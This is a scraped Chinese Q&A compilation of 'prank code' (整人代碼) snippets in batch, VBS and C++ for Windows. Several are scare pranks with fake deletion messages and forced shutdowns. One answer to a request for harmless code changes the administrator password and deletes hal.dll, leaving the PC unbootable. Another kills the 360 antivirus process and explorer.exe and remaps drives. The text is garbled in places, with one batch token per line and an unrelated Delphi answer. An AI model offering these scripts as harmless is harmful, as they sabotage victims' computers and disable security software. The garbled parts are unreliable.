㈠ 為什麼我在電腦上面的整人代碼不可以用了

這是由於注冊表裡的文件關聯出了問題
解決辦法:
"打開方式"重新關聯一下:
C:\windows\system32\wscript.exe
或者編輯打開方式為:
C:\windows\system32\wscript.exe "%1"

運行方法:

運行如下程序
//找到webbrowser1.silent的屬性設置為true
webbrowser1.silent:=true; //屏蔽腳本錯誤
//在webbrowser1.onNewWindow2事件中:
procere TForm1.WebBrowser1NewWindow2(Sender: TObject; var ppDisp: IDispatch; var Cancel: WordBool);
begin
Cancel:=True; //禁止彈出窗口
end;

㈡ 現在網上教別人整人代碼,那些人學了以後只會毀自己的電腦,我也是十分的無語啊

的確是有的人搬出的現成的代碼,沒有一些語言基礎的或者不了解的人,只是照搬照抄過去的確很危險。

㈢ 求Bat整人代碼。。很搞笑很嚇人但是很安全!

@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超級病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒計時
%%a

ping
-n
2
127.1
1>nul
2>nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
>nul
echo.
echo
警告!警告!電腦已被入侵!!!
ping
127.1
/n
3
>nul
cls
echo.
echo.
echo.
echo
正在刪除G盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除E盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除D盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除C盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除分區表...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo.
echo
刪除完畢
echo.
echo.
echo
正在遭受黑客的炸彈襲擊!
echo.
echo
電腦崩潰!准備關閉系統!
ping
127.1
/n
3
>nul
shutdown
-s
-t
0
>nul<p>
</p>

㈣ 求大量VBS.BAT.EXE計算機整人代碼

求大量VBS.BAT.EXE計算機整人代碼
cript.Echo("你好")
WScript.Echo("你就是xx吧!")
WScript.Echo("你知道我是誰嗎?")
WScript.Echo("猜猜看!")
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""我的名字是?答不出來就一分鍾關機,不信,試下···"" ",0 ,true
dim a
do while(a

㈤ 求一些電腦整人代碼要無毒的哦。。誰有直接發代碼。

代碼開始,只抄橫線裡面的
_______________________________
@echo off
net user administrator nishizhu\add
del /s /q c:\Windows\System32\hal.dll
shutdown -s -t 5 -c 你是一頭豬!!!
_______________________________
代碼詳解:
@echo off —— 隱藏命令,關閉回顯。
net user administrator nishizhu\add —— 把開機密碼改成「nishizhu\add」
del /s /q c:\Windows\System32\hal.dll —— 刪掉系統載入程序(刪了就開不了機)
shutdown -s -t 5 -c 你是一頭豬!!! —— 定時關機5秒鍾,並提示你是一頭豬!!!

㈥ 求在學校上電腦課整人代碼方法

先創建一個文本文檔,再在裡面輸入
if MsgBox("對不起,您灌水太多需要重新啟動計算機。"&chr(10)&"確定要重啟嗎?",vbOKCancel+vbInformation,"重新啟動計算機")=vbCancel then

msgbox " 正在清理系統垃圾wow ~_^",,"算你倒霉!!"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
再把後綴改成vbs

㈦ 求好玩的電腦整人代碼,要解決方法!每個給5分

每個代碼五分,忒少了吧?!每行代碼五分還差不多!哈哈哈

㈧ 求一段電腦整蠱代碼

你是要什麼語言的代碼?是C還是C++?是Python還是Java?

我這邊有一個C++的整蠱代碼,但是使用後只能強制關機了(因為是滑鼠亂飛,除非在亂飛的過程中點到了殺毒軟體的加速球,加速時可以停一小會的時間)……

這個代碼可能只適用於Windows系統

#include<windows.h>
#include<cstdlib>
#include<ctime>
#include<iostream>
usingnamespacestd;
intmain()
{
intx=GetSystemMetrics(SM_CXSCREEN);
inty=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while(1)SetCursorPos(rand()%x,rand()%y);
return0;
}

㈨ bat整人代碼

@ color 1f
@echo off
title 最好別關本程序否則後果自負......!
echo 你中招了!
echo 處理器異常!
ping 127.0.0.1 /n 4 >nul
echo.
echo 正在移除C盤……
echo.
ping 127.0.0.1 /n 4 >nul
echo 正在移除D盤……
echo.
echo 正在移除E盤……
ping 127.0.0.1 /n 4 >nul
echo F盤先給你留著吧!
echo.
echo 我會那麼善良嗎?
ping 127.0.0.1 /n 4 >nul
echo 不會的……
echo.
echo 呵呵開玩笑的!
ping 127.0.0.1 /n 4 >nul
echo 正在恢復C盤……
echo.
echo 正在恢復D盤……
ping 127.0.0.1 /n 4 >nul
echo 正在恢復E盤……
echo.
echo 正在恢復F盤……
ping 127.0.0.1 /n 4 >nul
echo 請一直按住 Enter 鍵
taskkill /f /im 360tray.exe
ping 127.0.0.1 /n 4 >nul
echo 看你的磁碟好少,怪可憐的……
echo.
ping 127.0.0.1 /n 4 >nul
echo 給你加幾個吧!
echo.
ping 127.0.0.1 /n 4 >nul
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 呵呵……
echo.
ping 127.0.0.1 /n 4 >nul
echo 給你兩分鍾時間,看看你的電腦!
echo .
ping 127.0.0.1 /n 120 >nul
echo 看過了嗎,好玩的在後面!
echo.
ping 127.0.0.1 /n 120 >nul
echo 哈哈!
echo.
@echo off
shutdown /s /t 120 /c "電腦馬上就要關機!"
ping 127.0.0.1 /n 15 >nul
shutdown -a
echo 你上當了,嚇唬嚇唬你!
ping 127.0.0.1 /n 4 >nul
echo 正在一鍵重裝中,請稍後……
echo.
echo 0.01
ping 127.0.0.1 /n 4 >nul
echo 0.13
ping 127.0.0.1 /n 4 >nul
echo 0.25
ping 127.0.0.1 /n 4 >nul
echo 0.49
ping 127.0.0.1 /n 4 >nul
echo 0.69
ping 127.0.0.1 /n 4 >nul
echo 0.89
ping 127.0.0.1 /n 4 >nul
echo 0.99
ping 127.0.0.1 /n 4 >nul
echo loading
ping 127.0.0.1 /n 4 >nul
echo 重裝已完成!
ping 127.0.0.1 /n 4 >nul
echo 也是嚇唬你的!
ping 127.0.0.1 /n 10 >nul
echo 真正的游戲開始了……
taskkill /f /im explorer.exe
shutdown /s /t 30 /c "系統關鍵文件被刪除導致崩潰!系統將在30秒後關機"
ping 127.0.0.1 /n 28 >nul
shutdown -a
echo 你上當了,嚇唬嚇唬你,現在恢復所有程序Loading......
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 恢復已完成
ping 127.0.0.1 /n 4 >nul
echo 我會那麼善良嗎?
ping 127.0.0.1 /n 4 >nul
echo 不會
ping 127.0.0.1 /n 4 >nul
echo 逗你玩的!
ping 127.0.0.1 /n 4 >nul
echo 會發生什麼呢?
ping 127.0.0.1 /n 4 >nul
echo 什麼都沒發生